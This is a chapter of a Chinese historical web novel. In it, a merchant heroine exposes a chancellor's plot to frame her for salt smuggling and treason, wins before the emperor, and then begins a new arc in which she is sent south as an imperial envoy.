自柳家倒台、林税官被治罪后,已过半年。这半年,苏芜的势力如春日的藤蔓,在京城的土壤里悄然蔓延,盘根错节,深入肌理。锦绣阁的分号已开至七间,遍布京城四城,还在周边的州府开设了三间分号,绣品从宫廷御用的云锦华服,到民间百姓的粗布绣帕,应有尽有,技艺精湛,纹样新颖,深受各阶层的喜爱;草药行在赵老和周老丈的打理下,已成大靖第一草药商,不仅垄断了京城的草药交易,还与江南、巴蜀、漠北的草药商建立了稳固的联系,药材遍布全国,甚至连军中的草药供应,也有三成出自她的草药行;惠民商社的规模更是一日千里,加入的寒门商贩已逾千人,涵盖了布匹、粮食、茶叶、瓷器等各个行业,苏芜为商社制定了严格的规矩,统一货源、统一价格、互帮互助,让寒门商贩彻底摆脱了被世家权贵欺压的命运,商社的影响力,早已走出京城,辐射至周边数十个州府。 而惜春坊,更是成了京城乃至全国孤女的希望之地。半年间,惜春坊收养的孤女已逾百人,最大的二十岁,最小的仅有六岁,苏芜请了绣技精湛的绣娘、识文断字的先生、辨识草药的郎中,教她们刺绣、读书、识药、算账,甚至请了退伍的老兵,教她们一些基础的防身术。这些孤女,皆是从苦难中走来,深知生存的不易,学习起来格外刻苦,短短半年,已有数十人学成出师,苏芜为她们置办了本钱,让她们去往各地的锦绣阁分号和草药行做事,或是自立门户开设小店,这些走出惜春坊的孤女,成了苏芜最忠心的臂膀,将她的势力,一点点延伸至大靖的各个角落。 青禾端着一杯温热的桂花茶,走到苏芜身边,将茶杯递到她手中,轻声道:“苏芜姐姐,赵老掌柜派人来报,江南的新一批药材已经到了,卸在西市的货仓,周老丈已经去查验了,还有,惠民商社的李管事说,漠北的皮毛商想与商社合作,今日午后会来锦绣阁谈合作事宜。” 苏芜接过桂花茶,喝了一口,清甜的桂香混着茶香在嘴里散开,她点了点头,目光依旧望着远方:“让账房先生备好合同,午后我亲自见漠北的皮毛商。另外,让王大带二十个身手利落的人去西市货仓守着,近来京城不太平,魏党虽蛰伏,却未必安分,药材是根基,不能出半点差错。” 青禾应了声“是”,又道:“惜春坊那边,今日有十个孤女学成,绣技已经能独当一面,她们想留在锦绣阁做事,我已经按你的意思,把她们分到各个分号当绣坊师傅了。还有,坊里新收了五个从江南逃荒来的孤女,年纪都小,先生已经开始教她们识字了。” 提及惜春坊,苏芜的眉眼柔和了几分,她回头看向青禾,见她眉眼间也添了几分干练,不复初时的怯懦,心中颇感欣慰。这半年,青禾不仅将惜春坊打理得井井有条,还跟着账房先生学了算账,跟着赵老学了辨识草药,早已成了她最得力的助手,也是她此生唯一的软肋与铠甲。“辛苦你了,青禾。”苏芜拍了拍她的手,“惜春坊的孤女,不仅要教她们技艺,还要教她们做人,让她们知道,女子并非只能依附男子,靠自己的双手,也能活得有尊严、有底气。” “我知道的,苏芜姐姐。”青禾点了点头,眼底满是坚定,“我每天都会和她们说你的事,告诉她们,只要努力,就能像你一样,从尘泥里走出来,活成自己的光。” 苏芜笑了笑,没有再多说,只是将目光重新投向窗外。她知道,如今的繁华与安稳,不过是暴风雨前的宁静。魏忠贤身为当朝丞相,贵妃的亲兄长,权倾朝野多年,党羽遍布朝堂与地方,柳家倒台、林税官被治罪,不过是伤了他的皮毛,并未动其根本。他这半年的蛰伏,并非畏惧,而是在暗中积蓄力量,等待着反扑的机会。而她苏芜,作为温庭远最得力的弟子,手握商业大权,民心所向,又多次坏了魏忠贤的好事,早已成了他必欲除之而后快的眼中钉、肉中刺。 魏忠贤的反扑,比苏芜预想的来得更快,也更狠辣。 当日午后,苏芜正在锦绣阁的会客厅与漠北的皮毛商谈合作,刚定下合作意向,准备签字画押,突然,西城的管事跌跌撞撞地跑了进来,脸色惨白,声音带着颤抖:“苏姑娘,不好了!西城的锦绣阁分号被税官封了,说我们贩卖私盐,还在货仓里搜出了十几担私盐,衙役们把分号的掌柜和伙计都抓走了!” 话音未落,南城的管事也匆匆赶来,同样面色惨白:“苏姑娘,惠民商社总坛被围了,魏丞相的人说商社勾结盐枭,贩卖私盐,要查抄商社的所有账目,抓捕商社的所有管事,赵老掌柜为了护着账目,被他们打伤了!” 接连两个消息,如两道惊雷,在会客厅里炸响。漠北的皮毛商脸色一变,起身拱手道:“苏姑娘,既然贵处有要事,那合作的事,我们改日再谈。”说罢,便匆匆离去,生怕惹祸上身。 苏芜的脸色瞬间沉了下来,指尖捏着的茶杯微微泛白,却依旧保持着冷静,没有丝毫慌乱。贩卖私盐,在大靖乃是重罪,轻则抄家流放,重则满门抄斩。她的锦绣阁和惠民商社,从未涉足盐运,更何况,盐铁乃是朝廷专营,寒门商贩根本没有资格触碰,货仓里的私盐,定然是魏忠贤故意栽赃陷害! “青禾,立刻去惜春坊,带着所有孤女转移到温府,让老兵们守着惜春坊,不许任何人靠近,若是有人硬闯,格杀勿论!”苏芜的声音冷冽,带着不容置疑的威严,“王大,立刻召集商社里所有身手利落的壮丁,守住锦绣阁总号、草药行总坛和各个货仓,不许魏党的人靠近一步,若是有人敢硬闯,就和他们拼了!” “是!”青禾和王大齐声应道,转身便匆匆离去。 苏芜又对着身边的账房先生道:“立刻整理锦绣阁和惠民商社的所有账目,尤其是盐运相关的,证明我们从未涉足盐运,还有,把所有的缴税凭证都找出来,一式三份,一份留着,一份送到京兆尹府,一份送到宫里,交给贵妃娘娘。” 账房先生也立刻应声而去。 苏芜深吸一口气,压下心底的怒意,走到会客厅的案前,拿起炭笔,在纸上快速写下几行字,那是她与温庭远约定的暗号,让心腹立刻送到温府,告知温庭远魏党反扑,栽赃贩卖私盐之事。她知道,魏忠贤的目标,从来都不只是锦绣阁和惠民商社,而是她背后的温庭远,以及那些暗中联络的忠良之士,这次栽赃,不过是魏忠贤的第一步,接下来,定然还有更狠毒的阴谋。 果然,不出苏芜所料,半个时辰后,宫里传来消息,说有人在御书房外捡到了一封她与漠北藩王勾结的密信,信中写道,她愿以锦绣阁和草药行的财力,资助漠北藩王起兵,推翻当今圣上,拥立藩王登基,事成之后,封她为一品诰命,执掌天下商业。皇帝看了密信后,龙颜大怒,当即下令,软禁温庭远,派禁军包围锦绣阁,将苏芜捉拿归案,彻查此事。 这封密信,无疑是魏忠贤的致命一击。贩卖私盐,尚且有辩解的余地,而勾结藩王、谋逆造反,乃是十恶不赦的大罪,一旦坐实,不仅她苏芜必死无疑,温庭远和所有忠良之士,都会被株连九族,锦绣阁、惠民商社、惜春坊,所有她一手建立的一切,都会化为乌有。 短短一个时辰,京城风云突变,魏党借着栽赃贩卖私盐和谋逆造反的罪名,大肆抓捕忠良之士和寒门商贩,京城的大街小巷,随处可见禁军和衙役的身影,人心惶惶,一片混乱。锦绣阁外,很快便围满了禁军,为首的是魏忠贤的义子,锦衣卫指挥使魏虎,他手持皇帝的圣旨,站在大门外,高声喊道:“苏芜接旨!陛下有旨,苏芜勾结藩王,谋逆造反,贩卖私盐,罪大恶极,着即捉拿归案,彻查其党羽,钦此!” 锦绣阁的大门紧闭,王大带着数百名壮丁守在门内,手持棍棒和刀具,眼神坚定,寸步不让。魏虎见锦绣阁闭门不纳,脸色一沉,厉声喝道:“苏芜,你竟敢抗旨?莫非是做贼心虚?限你半个时辰内开门受捕,否则,我便下令强攻,踏平锦绣阁!” 阁内,苏芜正站在二楼的窗前,看着门外的禁军,眼底没有丝毫惧意,只有一片冰冷的怒意。她知道,魏忠贤这次是蓄谋已久,伪造密信、栽赃私盐,环环相扣,步步紧逼,就是要置她于死地。而皇帝此刻震怒,早已失去了判断,想要自证清白,难如登天。 但她苏芜,从来都不是坐以待毙之人。从苏家村的柴房逃出来的那一刻起,从京城街头流浪的那一刻起,从锦绣阁的浆洗房里隐忍的那一刻起,她就知道,唯有自己,才能救自己。 “备车。”苏芜对着身边的侍女道,“我要去皇宫,亲自面见陛下,自证清白。” 侍女大惊:“苏姑娘,不可啊!陛下此刻正在气头上,魏虎又守在门外,您这一去,岂不是羊入虎口?” “我若不去,才是真正的坐实了谋逆的罪名。”苏芜淡淡道,“魏忠贤想要的,就是我闭门不出,然后他借机强攻锦绣阁,杀了我,再伪造认罪书,将一切罪名坐实。我偏不如他意,我要去皇宫,当着陛下和满朝文武的面,揭穿他的阴谋,让他身败名裂。” 她说着,拿起案上的那封伪造的密信,指尖拂过信上的字迹,眼底闪过一丝了然。这封信的字迹,模仿得有七八分像她,却依旧有破绽——她写字时,因常年握绣针和算盘,指尖用力,笔画的起笔和收笔会有细微的顿笔,而这封信上的字迹,笔画流畅,毫无顿笔,明显是旁人模仿的。还有信上的印章,是她的私章,却也是伪造的,她的私章是温庭远为她刻的,印章的角落有一个小小的“温”字印记,而这封密信上的印章,却没有这个印记,一眼便能看出真伪。 这些破绽,便是她自证清白的底气。 苏芜整理了一下衣衫,拿起披风披在身上,又将收集到的魏党栽赃的证据揣进怀里,大步朝着楼下走去。王大见她要出门,急道:“苏姑娘,您不能出去!魏虎那厮心狠手辣,您这一出去,他定会立刻抓了您!” “无妨。”苏芜拍了拍王大的肩膀,“我乃奉旨入宫,他不敢擅自动我。你守好锦绣阁,保护好大家,若是我三个时辰内未归,便让赵老将草药行的所有钱财分发给寒门商贩和惜春坊的孤女,让她们各自散去,找个安稳的地方活下去。” “苏芜姐姐!”青禾突然从门外跑了进来,她刚把惜春坊的孤女转移到温府,便匆匆赶了回来,脸上还带着泪痕,“我和你一起去皇宫!我要陪着你!” 苏芜看着青禾泛红的眼眶,心中一暖,摇了摇头:“你不能去,温府那边需要你守着,惜春坊的孤女,还有温太傅的安危,都托付给你了。你是我最信任的人,一定要保护好自己,保护好他们。” 青禾咬着唇,点了点头,眼泪却还是掉了下来:“苏芜姐姐,你一定要平安回来,我和大家都在锦绣阁等你。” 苏芜笑了笑,抬手擦去她的眼泪,转身朝着大门走去。她打开锦绣阁的大门,迎着禁军和魏虎的目光,缓步走了出来,身姿挺拔,不卑不亢,丝毫没有被定罪的惶恐与怯懦。 魏虎见苏芜走了出来,眼底闪过一丝诧异,随即又化为阴狠:“苏芜,你终于肯出来了?莫非是知道自己罪无可赦,想束手就擒了?” 苏芜淡淡瞥了他一眼,声音清亮:“魏指挥使,我乃奉旨入宫面见陛下,自证清白,何来束手就擒之说?倒是你,手持圣旨,却围堵锦绣阁,阻拦我入宫,莫非是想故意拖延,掩盖什么不成?” 魏虎的脸色一变,被苏芜的话噎得说不出话来。他本想借机激怒苏芜,让她抗旨,然后名正言顺地抓了她,却没想到苏芜如此冷静,还反将了他一军。“休得胡言!”魏虎厉声道,“本指挥使奉陛下之命,捉拿你归案,自然要寸步不离!来人,给我拿下苏芜,押入天牢,待陛下审问!” “谁敢!”苏芜厉声喝止,目光扫过周围的禁军,“我乃锦绣阁掌事,宫廷专供绣坊的主事,更是陛下亲封的‘惠民居士’,今日奉旨入宫面见陛下,尔等若是敢擅自动我,便是抗旨!陛下怪罪下来,你们担得起吗?” 她的声音铿锵有力,带着一股不容置疑的威严,周围的禁军皆是面面相觑,不敢上前。苏芜的名声,在京城乃至全国都如雷贯耳,她不仅是商业巨擘,更是寒门百姓心中的“苏大善人”,深受民心,更何况,她确实有陛下亲封的头衔,又为宫廷供绣品,若是没有确凿的证据,擅自动她,定然会引起民愤。 魏虎见禁军不敢上前,气得脸色铁青,却也无可奈何。他知道,苏芜说的是实话,若是此刻擅自动她,惹了民愤,陛下怪罪下来,他也吃不了兜着走。“好,本指挥使便带你入宫,让陛下亲自审问你!我倒要看看,你这巧舌如簧的女子,今日如何为自己辩解!” 魏虎咬牙道,挥手示意禁军让开一条路,亲自带着苏芜朝着皇宫走去。 一路上,京城的百姓纷纷围拢过来,看着被禁军护送的苏芜,议论纷纷。有人相信苏芜是被栽赃的,大声喊道:“苏姑娘是好人,定是被人陷害的!陛下要明察秋毫啊!”也有人被魏党的谣言蛊惑,低声议论:“听说苏姑娘勾结藩王,要造反呢,这可是大罪啊!” 苏芜听着周围的议论,依旧面不改色,只是目光坚定地朝着皇宫的方向走去。她知道,今日这场宫中之辩,不仅是她的生死之战,更是温庭远和忠良之士与魏党之间的生死之战,胜,则能挫败魏党的反扑,进一步壮大忠良之士的势力;败,则万劫不复,身死名裂。 皇宫的朱红大门,依旧巍峨矗立,宫墙高耸,透着一股威严与冰冷。苏芜跟着魏虎走进宫墙,脚下的青石板路光滑如镜,映着她的身影,两旁的宫灯高悬,雕梁画栋,金碧辉煌,却让人觉得压抑。她走过御花园,走过太和殿,最终被带到了紫宸殿,皇帝正坐在龙椅上,满脸怒容,两旁站着满朝文武,魏忠贤站在文官之首,嘴角噙着一抹不易察觉的阴笑,看着苏芜,眼底满是得意与狠戾。 苏芜缓步走进紫宸殿,跪在地上,俯首行礼,声音清亮,不卑不亢:“民女苏芜,参见陛下,吾皇万岁万岁万万岁。” “苏芜!你可知罪!”皇帝猛地一拍龙椅,厉声喝道,声音震得整个紫宸殿都嗡嗡作响,“你胆大包天,不仅贩卖私盐,藐视王法,还勾结漠北藩王,图谋不轨,意欲造反,今日被人抓了现行,你还有何话可说?” 苏芜缓缓抬头,目光平视皇帝,沉声道:“陛下,民女冤枉!民女从未贩卖私盐,更未勾结漠北藩王,图谋不轨,这一切,皆是有人故意栽赃陷害,嫁祸于民女。” “冤枉?”魏忠贤上前一步,拱手道,“陛下,苏芜巧舌如簧,死到临头还敢狡辩!西城锦绣阁的货仓里,搜出了十几担私盐,惠民商社的多名管事已被捉拿,供认不讳,还有这封她与漠北藩王勾结的密信,铁证如山,她岂容抵赖?” 魏忠贤说着,将那封伪造的密信递到皇帝面前,又对着身边的侍卫道:“带上来!” 很快,两个被打得遍体鳞伤的惠民商社管事被带了上来,他们跪在地上,瑟瑟发抖,不敢抬头。魏忠贤厉声道:“你们说,苏芜是不是让你们贩卖私盐,资助漠北藩王造反?” 两个管事被魏党严刑拷打,早已不堪忍受,只能哭着道:“是……是苏姑娘让我们做的……我们认罪……” 魏忠贤得意地看向苏芜:“苏芜,人证物证俱在,你还敢说自己冤枉?” 满朝文武皆是议论纷纷,有人面露同情,却不敢出声;有人则是魏党之人,纷纷附和,要求皇帝治苏芜的罪,株连九族。 苏芜看着那两个被打得遍体鳞伤的管事,眼底闪过一丝心疼,却依旧冷静:“陛下,这两位管事被魏丞相的人严刑拷打,屈打成招,其言岂能作数?至于货仓里的私盐,乃是有人故意栽赃,民女的锦绣阁和惠民商社,从未涉足盐运,盐铁乃是朝廷专营,民女一个寒门女子,何来资格贩卖私盐?陛下可查民女的所有账目,民女的账目清清楚楚,每一笔收支都有记录,从未有过盐运相关的交易,还有民女的所有缴税凭证,皆可证明民女从未偷税漏税,更未做过违法乱纪之事。” 她说着,将早已准备好的账目和缴税凭证递了上去,侍卫接过,呈给皇帝。皇帝翻看了几页,脸色稍缓,这些账目和凭证,字迹清晰,记录详细,确实没有任何盐运相关的交易,也没有任何偷税漏税的痕迹。 魏忠贤见皇帝脸色稍缓,心中一急,又道:“陛下,账目和凭证皆可伪造,不足为信!这封密信乃是从御书房外捡到的,上面有苏芜的私章和字迹,这乃是铁证,不容置疑!” 苏芜抬眼,看向魏忠贤,眼底闪过一丝冷意:“魏丞相,说我字迹和私章皆是真的,敢问丞相,可曾见过民女的真迹和真章?” 魏忠贤一愣,随即道:“这密信上的字迹和私章,与苏芜平日的字迹和私章一模一样,何须见过真迹?” “丞相连民女的真迹和真章都未曾见过,便断言这密信是真的,未免太过武断了。”苏芜淡淡道,“陛下,民女的字迹,因常年握绣针和算盘,指尖用力,笔画的起笔和收笔会有细微的顿笔,而这封密信上的字迹,笔画流畅,毫无顿笔,明显是旁人模仿的。还有民女的私章,乃是温太傅为民女所刻,印章的角落有一个小小的‘温’字印记,乃是暗记,外人不知,而这封密信上的印章,却没有这个印记,一眼便能看出真伪。陛下可仔细查验,便知民女所言非虚。” 皇帝闻言,立刻拿起密信,仔细查看,又让人取来苏芜之前呈给朝廷的商税策论,对比字迹,果然如苏芜所言,策论上的字迹起笔收笔有细微的顿笔,而密信上的字迹却没有;又让人查验密信上的印章,果然没有那个小小的“温”字印记,而苏芜的真章,此刻正放在温庭远的府中,早已被忠良之士呈了上来,两相对比,真伪立判。 皇帝的脸色彻底沉了下来,他看向魏忠贤,眼神里带着一丝怀疑:“魏丞相,这是怎么回事?” 魏忠贤心中一惊,却依旧强装镇定:“陛下,这定是苏芜故意狡辩,模仿字迹和印章本就不易,些许破绽,不足为信!漠北藩王早有反心,苏芜手握巨额财力,与他勾结,乃是板上钉钉的事!” “魏丞相,口说无凭,凡事皆讲证据。”苏芜上前一步,声音清亮,“陛下,民女不仅能证明这封密信是伪造的,还能证明货仓里的私盐,乃是魏丞相的远房亲戚,江南盐商魏坤所放,魏坤借着魏丞相的权势,垄断江南盐运,贩卖私盐,牟取暴利,民女的锦绣阁西城货仓,昨日刚到了一批江南的绸缎,魏坤便派人借着送绸缎的名义,将私盐偷偷放进了货仓,栽赃陷害民女。民女已让人查探清楚,魏坤的私盐窝点,就在江南的苏州府,还有他与魏丞相的通信,证明他贩卖私盐,乃是受魏丞相指使,民女的人,已将这些证据带来,呈给陛下。” 苏芜说着,对着殿外喊道:“呈上来!” 周老丈带着几个江南草药商,捧着一叠证据,缓步走进紫宸殿,将证据呈给皇帝。这些证据,有魏坤贩卖私盐的账本,有他与魏忠贤的通信,有苏州府百姓的证词,还有栽赃苏芜的两个魏党爪牙的供词,铁证如山,不容抵赖。 皇帝翻看了这些证据,脸色越来越沉,到最后,已是怒不可遏,猛地将证据摔在地上,厉声喝道:“魏忠贤!你好大的胆子!竟敢纵容亲戚贩卖私盐,栽赃陷害忠良,还伪造密信,意图构陷苏芜,搅乱朝纲,你眼里还有朕,还有朝廷的王法吗?” 魏忠贤见事情败露,吓得浑身发抖,噗通一声跪在地上,连连磕头:“陛下,冤枉啊!臣冤枉!这一切都是魏坤自作主张,与臣无关,还有这封密信,臣也不知是谁伪造的,求陛下明察!” “事到如今,你还敢狡辩!”皇帝怒喝道,“温太傅被你软禁,忠良之士被你大肆抓捕,寒门商贩被你欺压,你结党营私,贪污受贿,贩卖私盐,构陷忠良,罪大恶极,罄竹难书!来人,给我拿下魏忠贤,打入天牢,彻查其党羽,抄没其家产!” 两旁的禁军立刻上前,将魏忠贤按在地上,摘掉他的官帽,押了下去。魏忠贤拼命挣扎,大喊道:“陛下,臣冤枉 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苏芜俯首行礼,沉声道:“陛下,民女不求赏赐,只求陛下能释放所有被冤枉的寒门商贩和忠良之士,为温太傅平反,还他们一个清白;只求陛下能整顿盐运,废除世家权贵对盐铁的垄断,让寒门商贩也能参与其中,公平交易;只求陛下能继续推行轻征薄敛的商税政策,扶持寒门商贩,让民间商业得以发展,百姓得以安居乐业。” 苏芜的话,字字句句,皆为天下百姓,为寒门子弟,没有一丝一毫为自己谋私利,让满朝文武皆是心生敬佩,皇帝也深受触动,点了点头,沉声道:“准奏!朕即刻下旨,释放所有被冤枉之人,为温太傅平反,整顿盐运,推行商税政策,扶持寒门商贩!苏芜,你心怀天下,为民请命,朕心甚慰,特封你为‘一品诰命夫人’,赐黄金千两,绸缎百匹,允许你自由出入宫廷,参与商税与盐运的整顿,钦此!” “民女苏芜,谢陛下隆恩。”苏芜俯首行礼,声音坚定。 这场惊心动魄的宫中之辩,最终以苏芜的大获全胜,魏忠贤的倒台而告终。消息传出,京城的百姓皆欢呼雀跃,奔走相告,寒门商贩和忠良之士更是激动不已,纷纷来到锦绣阁,向苏芜道谢。 苏芜从皇宫出来时,已是深夜,京城的大街小巷,张灯结彩,百姓们自发地站在路边,迎接她的归来,齐声喊道:“苏姑娘千岁千岁千千岁!” 苏芜坐在马车上,看着窗外欢呼的百姓,眼底满是感慨。她从一个尘泥里的孤女,一步步走到如今,历经了无数的苦难与挫折,遭遇了无数的陷害与算计,却始终没有放弃,始终坚守着自己的本心,靠着自己的智慧与韧性,一次次化险为夷,一次次逆风翻盘。如今,她终于挫败了魏忠贤的反扑,为天下百姓除去了一大祸害,也为自己的势力,奠定了更坚实的基础。 回到锦绣阁,青禾、王大、赵老、周老丈,还有所有锦绣阁、惠民商社、惜春坊的人,都在门口等着她,见她平安归来,所有人都激动得哭了出来。青禾扑进苏芜的怀里,哽咽道:“苏芜姐姐,你终于回来了,我们都担心死了。” 苏芜拍了拍青禾的背,笑了笑:“我回来了,让大家担心了。” 赵老走上前,拱手道:“苏姑娘,您大获全胜,魏忠贤被打入天牢,魏党被彻查,这真是天大的好消息啊!我们惠民商社的兄弟,还有惜春坊的孤女,都安全了。” 王大也憨憨地笑道:“苏姑娘,您太厉害了!当着陛下和满朝文武的面,揭穿了魏忠贤的阴谋,真是大快人心!” 苏芜看着眼前的众人,眼底满是暖意。这些人,都是她的伙伴,她的家人,是她在这冰冷的京城,唯一的温暖。她能走到今天,离不开他们的支持与陪伴,离不开他们的忠心与守护。 “大家都辛苦了。”苏芜对着众人拱手,“今日之事,并非我一人之功,乃是大家齐心协力的结果。魏忠贤虽被抓,但他的党羽还有残余,地方上的豪强也未必安分,前路依旧布满荆棘,我们依旧不能掉以轻心。接下来,我们要做的,是整顿惠民商社和锦绣阁的产业,释放被冤枉的寒门商贩,赔偿他们的损失,重修被魏党破坏的店铺;是继续发展草药行和锦绣阁的分号,将惠民商社的影响力,延伸至全国;是将惜春坊的孤女培养成才,让她们成为我们的臂膀,守护好我们的一切;是协助陛下,整顿盐运和商税,扶持寒门子弟,让天下的百姓,都能安居乐业。” 众人齐声应道:“我等愿追随苏姑娘,赴汤蹈火,在所不辞!” 夜色渐浓,锦绣阁的灯笼高高挂起,照亮了门前的青石板路,也照亮了京城的夜空。银杏叶簌簌落下,卷着淡淡的桂花香,在风中飞舞,仿佛在为这场胜利欢呼。苏芜站在锦绣阁的二楼,凭栏远眺,看着京城的万家灯火,看着街头欢呼的百姓,眼底满是平静与坚定。 魏忠贤的倒台,并非结束,而是新的开始。大靖王朝历经多年的党争,早已积贫积弱,地方豪强割据,寒门子弟难有出头之日,女子地位低下,百姓生活困苦,这天下,还有太多的事情需要去做,还有太多的苦难需要去化解。 而她苏芜,将继续带着她的伙伴们,带着她的初心,一步步走下去。她会用自己的财力和势力,扶持寒门子弟,收养孤女,传授技艺,让更多的人,能从尘泥里走出来,活成自己的光;她会协助皇帝,整顿朝纲,发展商业,改善民生,让大靖王朝,重现盛世;她会用自己的一生,证明女子并非只能依附男子,靠自己的双手,也能活得有尊严、有底气,也能搅动风云,撼动朝野,也能成为一代传奇。 次日,皇帝下旨,释放所有被冤枉的寒门商贩和忠良之士,为温庭远平反,官复原职,任命温庭远为内阁首辅,执掌朝政;下令彻查魏忠贤的党羽,无论是朝堂之上,还是地方之中,凡与魏忠贤勾结者,一律严惩不贷,抄没家产;整顿盐运,废除世家权贵对盐铁的垄断,允许寒门商贩参与盐铁交易,公平竞争;继续推行苏芜提出的轻征薄敛的商税政策,在全国范围内设立商税司,由忠良之士执掌,监督商税的征收,打压偷税漏税的行为;册封苏芜为“一品诰命夫人”,赐御赐金牌,允许她自由出入宫廷,参与商税与盐运的整顿,执掌天下商业之事。 旨意一出,全国震动,寒门子弟和百姓皆欢呼雀跃,对皇帝和苏芜感恩戴德。 苏芜借着皇帝的旨意,开始在全国范围内推行自己的商业计划。她将惠民商社的规模进一步扩大,在全国各个州府都设立了商社分坛,加入的寒门商贩逾万人,涵盖了各个行业,形成了一张庞大的商业网络;她将锦绣阁和草药行的分号,开至全国各个州府,甚至在边境的城池,也设立了据点,让大靖的绣品和草药,走出国门,远销至周边的国家;她在全国各个州府,都开设了惜春坊,收养当地的孤女,传授她们技艺,让她们能自立门户,这些惜春坊的孤女,成了她的眼睛和耳朵,将她的势力,延伸至大靖的每一个角落。 她还利用自己的财力,在全国各个州府都开设了义学和义庄,免费教寒门子弟读书识字,为无家可归的百姓提供住所和食物;她资助寒门子弟参加科举,为朝廷输送了大量的忠良之才,这些寒门子弟,皆感念苏芜的恩情,入朝为官后,始终坚守本心,为民请命,成了朝廷的中坚力量。 温庭远则执掌朝政,协助皇帝整顿朝纲,肃清魏党的残余势力,打压地方豪强,推行休养生息的政策,让百姓得以安居乐业,大靖王朝,逐渐走出了多年的阴霾,重现了盛世的曙光。 而苏芜,也成了大靖王朝历史上,最传奇的女子。她出身乡野孤女,无依无靠,却靠着自己的努力,一步步走到巅峰,执掌天下商业,影响朝局民生,受百姓敬仰,受皇帝器重,一生未嫁,没有依附任何男子,没有卷入任何感情纠葛,活得出彩、活得通透、活得独美。 时光荏苒,十年弹指一挥间。 十年后,大靖王朝国泰民安,百姓安居乐业,商业繁荣,文化昌盛,成了真正的盛世。寒门子弟得以入朝为官,女子的地位也得到了极大的提升,越来越多的女子,走出家门,学习技艺,自立门户,活成了自己的光。 而苏芜,也已年近三十,褪去了年少的青涩,添了几分岁月的沉淀,眉眼间依旧沉稳淡然,那双眸子,依旧清亮坚定。她将锦绣阁和惠民商社的日常事务,交给了青禾、王大、赵老等人打理,自己则隐居于京城郊外的别院,别院名为“芜园”,园内种满了花草树木,还有一片药圃,一片绣坊,收养了数十名孤女,教她们刺绣、识药、读书。 温庭远时常来芜园与她闲谈,谈朝局,谈民生,谈天下;青禾始终陪伴在她身边,成了锦绣阁的掌事,将锦绣阁打理得井井有条;王大成了惠民商社的总坛主,守护着寒门商贩的利益;赵老和周老丈则执掌着全国的草药行,救死扶伤,造福百姓;那些从惜春坊走出去的孤女,早已在全国各地生根发芽,成了各个行业的佼佼者,守护着苏芜一手建立的商业帝国。 这日,秋高气爽,桂花香满芜园。苏芜坐在园中的桂花树下,看着孤女们在绣坊里刺绣,看着药圃里的郎中教孤女们辨识草药,嘴角噙着一抹淡淡的笑意。青禾端着一杯桂花茶,走到她身边,将茶杯递到她手中,轻声道:“苏芜姐姐,温太傅来了,正在书房等你。” 苏芜接过桂花茶,点了点头,起身朝着书房走去。书房里,温庭远正坐在案前,翻看一本古籍,见苏芜走来,笑着道:“苏芜,你倒是清闲,如今天下太平,商业繁荣,皆是你的功劳啊。” 苏芜笑了笑,道:“师父过奖了,这都是陛下圣明,师父执掌朝政有方,还有大家齐心协力的结果,我不过是做了些分内之事。” 温庭远放下古籍,看着苏芜,眼底满是欣慰:“你这孩子,还是这般谦虚。十年前,你还是个从苏家村逃出来的孤女,如今,却成了大靖的传奇,执掌天下商业,影响朝局民生,为师为你感到骄傲。” 苏芜看着温庭远,眼底满是感激:“若无师父的点拨与扶持,若无师父的知遇之恩,我苏芜,如今依旧是那个在尘泥里挣扎的孤女,难有今日。师父的恩情,我此生难忘。” “你无需谢我。”温庭远摆了摆手,“你今日的成就,皆是你自己拼来的,是你的韧性、你的智慧、你的本心,让你走到了今天。你从尘泥里走来,却从未忘记自己的初心,始终心怀天下,为民请命,这才是最难能可贵的。” 两人相视一笑,闲谈起来,谈朝局的安稳,谈百姓的安乐,谈惜春坊的孤女,谈惠民商社的发展,岁月静好,现世安稳。 窗外,桂花簌簌落下,卷着淡淡的清香,在风中飞舞。苏芜的目光,透过窗户,望向远方的京城,望向远方的天下,眼底满是平静与淡然。 8. 海晏未宁·巾帼登朝 暮春三月,江南草长,杂花生树,群莺乱飞。 大靖的盛世,如一幅徐徐展开的工笔长卷,从京城的朱墙金瓦,铺展到江南的烟雨楼台,再延伸至漠北的长风大漠。十年休养生息,朝堂清明,民生富庶,商业繁茂,坊间皆传“永熙中兴”,将这十年的太平,归功于永熙帝的圣明,内阁首辅温庭远的辅政,以及那位执掌天下商业的一品诰命夫人苏芜。 此时的苏芜,正立于苏州府的码头,一身月白织锦褙子,内衬素色交领长衫,青丝仅用一支羊脂玉簪绾成流云髻,鬓边斜插两枝新折的碧桃,眉眼间是岁月沉淀的温润,却又藏着执掌大局的果决。她脚下的青石板码头,舟楫林立,千帆竞渡,漕运船只满载着锦绣阁的绣品、惠民商社的茶叶、药行的珍稀药材,往来于运河之上,船工的号子、商贩的吆喝、孩童的嬉闹,交织成一派繁华喧嚣的景象。 这是苏芜南下巡访的第三个月。自永熙帝整顿盐运、推行商税新政以来,虽全国大局向好,却在江南、岭南一带生出了新的波澜——江南士族以“祖制不可违”为由,联合地方豪强,抵制商税新政,暗中操控米价、盐价,压榨寒门商贩;岭南则因海禁松弛,倭寇与海盗勾结,袭扰沿海州县,劫掠商船,致使海上贸易几近停滞,沿海百姓流离失所。 永熙帝数次派官员南下整治,却皆因士族阻挠、海盗猖獗而铩羽而归,甚至有两名钦差被江南士族设计陷害,革职流放。温庭远坐镇京城,统筹全局,分身乏术,思来想去,唯有苏芜能担此重任——她手握惠民商社的庞大网络,熟悉江南商业脉络,又深得寒门商贩与百姓拥戴;更重要的是,她不属朝堂任何派系,无党无争,且手段果决,能绕开士族的掣肘,直击问题核心。 于是,永熙帝下旨,命苏芜以一品诰命夫人的身份,持钦差关防,南下巡访江南、岭南,督办商税新政推行,整治米盐乱象,安抚沿海百姓,清剿倭寇海盗,便宜行事,先斩后奏。 这道旨意,在朝堂之上掀起了轩然大波。 以礼部尚书钱谦益为首的江南士族官员,率先发难,在金銮殿上跪地进言:“陛下,万万不可!苏芜虽有功于国,却终究是一介女子,且无朝廷官衔,仅为诰命夫人。钦差乃代天巡狩,执掌生杀大权,岂容女子担任?此乃违逆祖制,贻笑大方!” “钱尚书此言差矣!”温庭远出列,须发皆白,却精神矍铄,目光如炬,“祖制亦有变通之时。前朝有平阳昭公主镇守娘子关,穆桂英挂帅出征,皆为女子,却立下赫赫功勋。苏芜十年间,扶持寒门,兴商富民,设义学,建惜春坊,助朝廷整顿商税、盐运,其功不在朝堂诸公之下。江南士族勾结豪强,操控物价,阻挠新政,岭南倭寇横行,百姓遭殃,诸公之中,谁能拍着胸脯,保证能平定乱象?苏芜手握惠民商社,根基在民间,手段卓绝,正是督办此事的最佳人选!” 